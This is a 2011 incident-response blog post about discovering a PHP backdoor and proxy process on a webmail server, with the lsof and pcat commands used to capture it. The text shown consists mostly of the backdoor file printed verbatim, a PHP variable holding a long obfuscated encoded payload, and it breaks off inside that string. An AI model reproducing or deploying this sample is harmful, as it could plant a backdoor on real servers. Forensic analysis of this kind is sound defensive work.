Tuesday, September 13, 2011

Fast Php backdoor analysis

On the daily routing of checking the systems, I noticed on nagios that a webserver of an old system was down. It’s not the first time that it’s happening the system is mainly used as mailserver and the webserver serves only the webmail interface, at least to my knowledge at that moment. System had problem before with apache service and semaphores, but today there was another issue, a process was running under www-data id, with the command ./prox –p5114  (proxy redirect). Interesting , we have a new backdoor !

First things first, I kept a copy of the instance with lsof and pcat for further analysis,

 

   1: root@mail:/# lsof -p 29369 > 29369
   2: root@mail:/# pcat 29369 > 29369.mem


pcat (process cat) is part of tct, apt-get install tct will do the trick on ubuntu/debian systems.


Looking at the data from lsof I located easily the place where backdoor was installed and the actual  file was the following



   1: <?php $code = "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